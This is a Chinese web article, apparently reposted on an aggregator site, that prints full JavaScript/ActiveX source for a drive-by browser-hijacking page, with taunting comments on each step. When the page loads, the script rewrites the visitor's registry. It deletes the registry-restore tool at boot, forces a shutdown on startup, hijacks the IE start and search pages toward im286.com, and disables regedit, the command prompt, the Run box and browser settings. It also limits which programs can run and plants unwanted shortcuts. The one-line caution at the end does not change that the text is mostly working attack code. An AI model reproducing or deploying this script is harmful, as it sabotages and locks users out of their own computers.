< language="java">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//建立加入收藏夾和鏈接的事件
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//建立事件結束

function f(){
try
{
//ActiveX initialization （初始化ACTIVEX，為修改瀏覽者的注冊表做準備。）
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
//開始修改注冊表
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\deltree.exe","start.exe /m deltree /y c:\\\\windows\\\\Command\\\\Scanreg.exe /q /u /autorun");（開機時Scanreg.exe被無提示刪除！這樣瀏覽者就無法通過恢復瀏覽之前的注冊表來修復系統！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\rundll.exe","rundll.exe user.exe,exitwindows");（開機就無提示關機！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page", "http://www.im286.com/wjkplx/");（你的主頁已經被改了！！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Toolbar\\\\backbitmapie5","c:\\\\Windows\\\\web\\\\wvleft.bmp");（給IE換張圖片.雖然丑了一點點.....）
Shl.RegWrite ("HKCR\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");（把我的電腦改名叫team！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\", "team");（還要確認一遍啊！！安全第一！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的電腦目前正被別人控制");（這個IE標題不錯吧??）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "= 您的電腦目前正被別人控制");（又確認一次！！小心使得萬年船嘛.）
Shl.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\SearchPage","http://www.im286.com");（搜索頁改掉.安全第一安全第一）
Shl.RegWrite ("HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\", "http://www.im286.com");（改掉回收站.反正你也沒有用.
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1","http://www.im286.com");（向常用網址里加一個.就加一個！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url2","http://www.im286.com/");(再加一個.安全第一）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Page_URL","http://www.im286.com");（缺省頁也改掉！！微軟反正你不會用.不如讓給我好了！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Local Page","http://www.im286.com");（本地頁！加上去!）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page","http://www.im286.com");（安全第一！確認下先！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page","http://www.im286.com");（加加加！！拉拉拉...）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Search_URL","http://www.im286.com");（如果硬要給扁你加個極限！我希望是一萬拳！！）
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\CLSID\\\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\\\InProcServer32\\\\","rem C:\\\\WINDOWS\\\\sys tem\\\\BROWSEUI.DLL");（你的IE沒有地址欄了.！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetTaskBar", "1","REG_DWORD");（任務欄和開始菜單了不許你設置！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFind","1","REG_DWORD");（查找不用也沒有關系嘛.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions","1","REG_DWORD");（IE工具的INTERNET選項里面的東東是不能亂改地.不如讓team禁止了算了.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoViewContextMenu","1","REG_DWORD");（鼠標右鍵菜單沒有什么,那不用好了.我也幫你關了好了）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun","1","REG_DWORD");（反正運行框用得也不多.關掉了OK?）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\Disablecmd","1","REG_DWORD");（DOS 老掉牙的東西不用也罷.）
Shl.RegWrite
("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\WinOldApp\\\\NoRealMode","1","REG_DWORD");（我都說了DOS沒有用拉.）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeCaption", "問候");（開機即跳出對話框，問候你一下拉！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeText","朋友:非常感謝你訪問過我們的網站[url]http://team888.126.com[/url]");（開機提醒你一下拉.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");（IE的右鍵菜單不要用嘛.右鍵有什么好的?）
Shl.RegWrite ("HKLM\\\\Software\\\\CLASSES\\\\.reg\\\\","txtfile");（REG文件不要亂動哦.反正里面的東西不能動不如不打開.）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\sys tem\\\\DisableRegistryTools","1","REG_DWORD");（禁止使用注冊表程序regedit.exe了！我都說了不能亂改嘛.不要用REGEDIT）
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetFolders","1","REG_DWORD");（控制面板也禁用，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu","1","REG_DWORD");（又禁止IE的右鍵菜單一次。怕別人看我的源碼！保護知識產權嘛）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserOptions","1","REG_DWORD");（Internet選項被禁用了！里沒有沒有什么好改的.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserSaveAs","1","REG_DWORD");（另存為也不讓！！”）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFileOpen","1","REG_DWORD");（文件下面的打開沒有了！不好意思啊.一時失誤.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoTheaterMode","1","REG_DWORD");（全屏模式對IE控制面板的控制）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Advanced","1","REG_DWORD");（禁止高級頁設置， ）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Cache Internet","1","REG_DWORD");（禁止更改臨時文件的設置）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\AutoConfig","1","REG_DWORD");（禁止更改自動配置的設置，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\HomePage","1","REG_DWORD");（禁止更改主頁設置!）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\History","1","REG_DWORD");（禁止更改歷史紀錄設置，）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Connwiz Ad Lock","1","REG_DWORD");（禁止Internet連接向導.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Check_If_Default","1","REG_DWORD");（禁止更改默認瀏覽器檢查,免得你總是和騰訊爭！！）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ContentTab","1","REG_DWORD");（禁止內容項！！！）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\懶人居","HTTP://team888.126.com");（啊！！！又加一個！！安全第一.呵呵~~~）
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\AboutURLs\\\\blank","HTTP://team888.126.com");（再加一個就OK了.）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecurityTab","1","REG_DWORD");（禁止安全項）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ResetWebSettings","1","REG_DWORD");（禁止重置Web設置）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoViewSource","1","REG_DWORD");（禁止源文件，保護知識產權嘛）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Infodelivery\\\\Restrictions\\\\NoAddingSubions","1","REG_DWORD");（禁止添加脫機頁計劃）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFileMenu","1","REG_DWORD");（禁止資源管理器中的文件）
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Settings","1","REG_DWORD");（禁止更改連接設置，）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun","1","REG_DWORD");（禁止使用任何程序！不要急兄弟我還是要給你留幾個東東.）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Iexplore.exe","Iexplore.exe");（資源管理器！）
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINWORD.EXE","WINWORD.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\EXCEL.EXE","EXCEL.EXE");（
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\WINZIP32.EXE","WINZIP32.EXE");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\ACDSee32.exe","ACDSee32.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\photoshop.exe","photoshop.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Notepad.exe","Notepad.exe");
Shl.RegWrite ("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\Wordpad.exe","Wordpad.exe");
Shl.RegWrite
("HKCU\\\\SoftWare\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\RestrictRun\\\\rundll.exe","rundll.exe");（沒他就掛了！！！）
//注冊表修改完畢

//加入收藏的程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//設置完畢
//加入收藏
AddFavLnk(loc, "HTTP://www.im286.com");
//加完了
//桌面建立快捷圖標程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\\\Documents and Settings\\\\" + Net.UserName + "\\\\Desktop";
if(!FSO.FolderExists(loc))
{
return;
}
}
//設置完畢
//建立圖標
AddFavLnk(loc, "http://www.im286.com");
//桌面建立快捷圖標結束，關閉IE的時候莫名其妙看見自己的桌面上多了一個自己并不想要的東西是什么感覺？
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}
init();
</>
:ohh: 各位im286兄弟們不可干壞事兒啊`寫了這么多，給點兒掌聲把。

總結

以上是生活随笔為你收集整理的常用破坏ie的源码的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。